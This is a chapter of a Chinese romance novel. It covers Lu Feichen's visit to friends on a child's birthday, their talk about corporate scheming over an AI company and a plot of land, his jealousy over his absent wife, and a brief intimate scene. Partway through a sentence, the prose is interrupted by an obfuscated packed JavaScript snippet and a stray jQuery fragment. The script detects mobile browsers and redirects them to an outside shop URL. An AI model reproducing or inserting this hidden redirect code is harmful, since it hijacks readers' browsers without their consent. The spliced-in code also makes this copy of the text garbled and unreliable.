“吱。”
车停在一个开满白色茉莉的花圃前。白色花瓣随风飘落,陆扉辰情不自禁地摇下车窗,任飞舞的花瓣落在他湿热的掌心上。
“辰叔。”
车窗下突然冒出一颗圆圆的脑袋,陆扉辰条件反射地去拉车门的把手,不料,在车上睡了一路的少年,突然扯住他的衣角,他重心偏后,指尖与车门相擦而过。
暖风顺着半开的车门漏了进来,女孩儿顺势像八爪鱼一般扑到陆扉辰怀中。
她身上有浓重的消毒水味道,陆扉辰不知她哪里受伤了,不敢乱动,只能任她抱着。
“辰叔,你偏心眼。陪承钰吃饭,不陪我。”
陆扉辰摸摸她的脑袋,轻笑道:“这不是想着今天测试推迟了,你会在度假山庄过夜,我才去陪承钰吃饭的。”
“辰叔,你就是偏心眼。她要去荷塘摘荷叶,你就关设备,有你这样的吗?你不陪她闹,就能陪我吃饭了。不管,我和她之间,你就是选了她。你今晚得哄我睡,不然,这事儿翻不了篇。”
苏亚萝大声哭了起来,只是,哭了许久,一滴眼泪都没有。
陆扉辰静静地抱着她,轻柔地拍着她的背,她本就累到极致,一触到温暖的怀抱,一直上下打架的眼皮儿,粘在了一处。
听到她平稳的呼吸声,他小心翼翼地把她抱在身上,下了车。
他越过前来接苏亚萝的保姆,径直进了屋。苏亚繁不敢相信眼前的一切,他和苏亚萝蹩脚的耍赖计划就这样成功了?
他飞速跑进屋,屋里空荡荡的没有一个人。苏亚萝被放在沙发上,她环着陆扉辰的腰,把他当成她的抱枕。
“亚繁,你累了一天,回房间休息吧。我在这里等苏澧过来。”
听到陆扉辰的声音,管家从厨房出来。他盯着陆扉辰看了三秒,眼里不自觉流露出惊慌。他赶忙泡了一壶茉莉花茶,端了过去。不动声色地把桌上的草莓蛋糕,换成了牛奶饼干。
“大别扭,还是亚萝面子大。能把你请到家里来。”
带着笑意的女声从门边飘来,一个穿着浅蓝色晚礼服的女人,缓步向他走来。她满头珠翠,脸上画着精致的妆,很明显是在参加聚会的半途赶了回来。
“今天她生日,她最大。”
陆扉辰轻轻摸了摸怀中人儿的脑袋。她不自觉地把他搂得更紧了。
“所以,你就陪着承钰胡闹,让红茶黑了监控,然后关了电闸?直接触发了报警器,内侧地点,从荷塘,转到了度假山庄的B3索道。然后这个疯丫头,在那儿疯跑了一整天。”
郭彩颜无奈地叹了一声,她刚干脆地拒绝苏亚萝去B3索道乱跑的请求,陆扉辰就帮她找了一个连苏皓宁都挑不出错的借口,去索道疯玩了一整天。
“一举多得,多好。承钰的荷叶也摘了,亚萝的生日也庆祝了,内部测试也没耽误。”
陆扉辰摆出一副“我做得很对”的自信模样,郭彩颜很想给他一拳头。
“不过,过了这么久,这个家还是我一来,无论管家是不是新来的,都会主动收草莓。”
陆扉辰轻啜一口茶,这茉莉花茶也是他曾经熟悉的味道。
“那肯定。管家守则第一条:陆扉辰在,家里不许有草莓。你之前草莓过敏,可把我们吓坏了,哪儿还敢让草莓出现在你面前。”
“我已经很久没来了。”
陆扉辰叹道,视线不自觉地落在墙上的婚礼合照上。
这合照上有五个人:苏皓宁、郭彩颜、叶景枫、冯子烟和他。
自他们结婚以来,这张照片就一直挂在客厅。这张照片一直在,这个家的大门也一直对他开放。
“你总有一天会来,我们只是做好了随时迎接你到来的准备。”
带着醉意的声音,伴着兴奋的脚步声,渐渐逼近。
陆扉辰转头看向窗外,仿若在说话的那人是空气。
“景枫家的荷叶包饭好吃吗?”
郭彩颜瞬间换了个话题,示意苏皓宁先把苏亚萝抱去房间。
“还不错。他家的米很香,听说是度假山庄那边自产的米。我记得那附近有一块地,藺家的,抢过来种米,应该能销得很好。”
郭彩颜给苏亚繁使了个眼神,催促他赶紧回房间。接下来的谈话,不是小孩子应该听的。
听到关门声,郭彩颜笑问道:“他们打算在那儿建一个医疗器材生产工厂。施工队都进场了,你打算怎么抢?”
“你找人把贺润泽挖到奇瑞AI去。要让他自愿签下五年竞业限制协议,并带走他手下的核心团队和‘薇雪’的模型,同时支付违约金10个亿。”
郭彩颜轻轻皱眉,问道:“贺润泽是华晶科技的主心骨,你投了几百亿去开发‘薇雪’,就这样让他带走了?”
“彩颜,这小子憋着坏呢。别替他操心。”
苏皓宁从二楼下来,手里拿了一坛酒。陆扉辰闻到了浓重的梅子味。
“他把他不要的东西,免费送给华晶的竞争对手。对家投入得越多,出产品事故的时候,就跌得越惨。然后他再趁机出个对照组。这是钱也挣了,对家也被他搞没了,还白送了我们一块地。一举多得,好事儿都被他占尽了。”
陆扉辰摊摊手,他的意图就这样被他看穿了。
“看来你脑子挺正常的,怎么就非得去收购乔吉那破公司。中东那政局不稳,钱投进去,九成打水漂。你执意要收购,我还以为你鬼附身了。”
苏皓宁从柜子里拿出陆扉辰专用酒杯,倒了一杯梅子酒,放在茶几上。
“尝尝。蒲忆很好这一口。在LA的时候,经常回购。”
陆扉辰羽睫轻颤,她以前可是一杯就倒。喝醉了还会……疯狂地亲他。
不知道,她这习惯改了没。
也不知道,她这几年喝醉后,亲的是谁。
苏皓宁一眼看穿了陆扉辰的不对劲,笑道:“她这些年,一直单身养娃。别再酿醋了,梅子酒已经很酸了。”
“你调查她?”
陆扉辰的声音瞬间冷了八度。
“别冤枉人。卖梅子酒的老板告诉我的。他还告诉我,程瑾年一有时间就飞到LA,帮她带孩子。”
“那梅子酒铺,你开的?那老板什么都和你说?”
陆扉辰声音冷冷的,平静的眼里有了些微烦躁。
苏皓宁终于在他毫无波澜的眼里看到了波动的嫉妒。
“梅子酒铺旁边的福利院,我投的。那老板没空的时候,都把他家小孩儿送福利院托管。免费的。那他不得对我有问必答?”
“那他还说了什么?”
陆扉辰气闷地将杯中的梅子酒饮尽。苏皓宁往嘴里塞了一嘴的饼干,让沉默去点燃他刚冒出一点儿火星的嫉妒之火。
“时间不早了,我该回去了。”
这话一出,苏皓宁被呛出了眼泪。
郭彩颜瞟了一眼四处找水的苏皓宁,笑道:“让你逗他,摆不准自己的位置。”
“程瑾年是去看程梓悦的。程梓悦知道蒲忆就是紫怡了。一有时间就跑去看蒲忆。她向蒲荀保证过了,不会把这事儿说漏的。”
陆扉辰不以为然地叹了一声,嫌弃道:“就她那没把门的嘴……”
可一想到,她是林紫怡最好的朋友,自动把损人的话咽进肚里。
“你们这么清楚,是有找私家侦探长期跟着她?”
陆扉辰不悦地皱眉,她当年在日记里反复提到,即便她只是出去散个步,身边也至少有三路保镖跟着她。她很讨厌这种行为受控的生活。
“别误会。曲浅浅带着江菲雪去LA抓奸。程梓悦和她小姑子在酒铺大吵了三百回合,程梓悦一怒之下,让诺晨和蒲忆还有程瑾年做了亲子鉴定。酒铺老板寄酒过来的时候,把这当段子给我们说了。”
“诺晨是程瑾年的孩子?”
陆扉辰眼里燃起了怒火,只是片刻之后,他自语道:“如果他真的和紫怡睡了,诺晨是不是他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702962|208249||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
孩子,他都会说他是他的孩子。这孩子肯定和他没关系。”
郭彩颜和苏皓宁无奈对视,陆扉辰就这样自己把自己哄好了。
虽然带点儿阿Q的精神胜利法,从结果来说,并没有错。
“他们这次回国会待多久?”
陆扉辰烦躁地问道。
如果他的消息无误,程瑾年马上就要回国了。他们在国外有什么接触他可以眼不见心不烦。他受不了她在他眼皮子底下对程瑾年笑。
当年如果不是程瑾年出国一月和她断了联系,她也不会在走投无路的时候,听从她小姨的话去酒局,然后被迷晕,阴差阳错地拿错房卡,和他有了一夜情。
那晚之后,她以盘活华晶为条件,和他结婚了。婚后,她断了对程瑾年的念想。可他对她,可是念念不忘。
“你如果想知道,明天,我让亚繁去套承钰的话。”
苏皓宁很明确地感受到了陆扉辰的暴躁,他很喜欢他这样。
人有情绪,才是活着。
“不用,我自己问诺晨。”
陆扉辰不耐烦地说道。
“要打赌吗?蒲忆不会让你有一丝一毫的机会接近诺晨。只要你还戴着这对婚戒。”
陆扉辰像泄了气的皮球一般,眼里没了情绪。她在LA的三年,做了上百个离婚介绍。这些案子的共同点是:男人出轨,男人净身出户。
“乌鸦嘴。”
陆扉辰默默握紧拳头,虽然很不想承认,苏皓宁说的是对的。
屋外有刹车的声音传来。
一道长影从车里下来,疲惫地移动到门口。见到苏澧的身影,陆扉辰起身离开。
“扉辰,给紫怡做死亡登记吧。放掉不该抓住的,抓住现在能拥有的。不然即便她本能地再次爱上你,她也不会给你机会。”
“说不出我想听的话,就闭嘴。”
陆扉辰气呼呼地走到苏皓宁身前,毫不客气地把桌上的梅子酒抱走。
“明天投资部会议,记得到,把高佑还有封序飞都给我抓过来。”
陆扉辰疾步离开,车开之时,苏皓宁才反应过,他是在对他提要求,而不是做资源互换。
“姓陆的,不知道约那俩开线下会,要提前一周排期?你当航空公司是你家开的?这两现在都在飞机上,落地之后直接返程,也得后天凌晨到。”
“那是你的问题。抓不到人,就我拍板,你投钱。”
“凭什么。”
“凭我审美比你好。捧谁火谁。”
“臭美吧你。”
“我本来就很美。被彩颜认证的。”
“你什么时候认证的?”
苏皓宁突然转身,把郭彩颜圈在怀中。
“难道在你眼里,不应该我最美吗?”
郭彩颜嗅到了暧昧气息,他的唇有意无意地触碰她的脸颊。
丰亿大厦第一俊美的媒人陆扉辰,真没有浪得虚名。
公事争吵开头,夫妻滚床单结尾。
“彩颜,你这沉默时间太长了。得接受惩罚。”
他侵略性地吻着郭彩颜,熟练地将她抱进房间。在极速上升的体温中,他已经不记得最初亲吻她的理由。只觉得,灯光之下,她美得不可方物。
郭彩颜眼里不禁闪起泪光,她已经很久没有见过他眼中流露出的对她的渴望和迷恋。
苏皓宁轻柔地抹去她眼角的泪珠,问道:“弄疼你了?”
“没有,就是扉辰来了,觉得……”
苏皓宁以唇吞没她接下来的字句。在这个时候,他不想从她嘴里听到别的男人的名字。
即便是陆扉辰,那个让他和郭彩颜互通心意的金牌媒人。
坐在车里,陆扉辰突然连打了三个喷嚏。
“苏澧啊,你哥肯定又在损我。”
苏澧轻笑不语,他默默拉了拉毯子,歪着脑袋在副驾睡着了。
这是属于他们的日常,是消失了五年又重新出现的日常。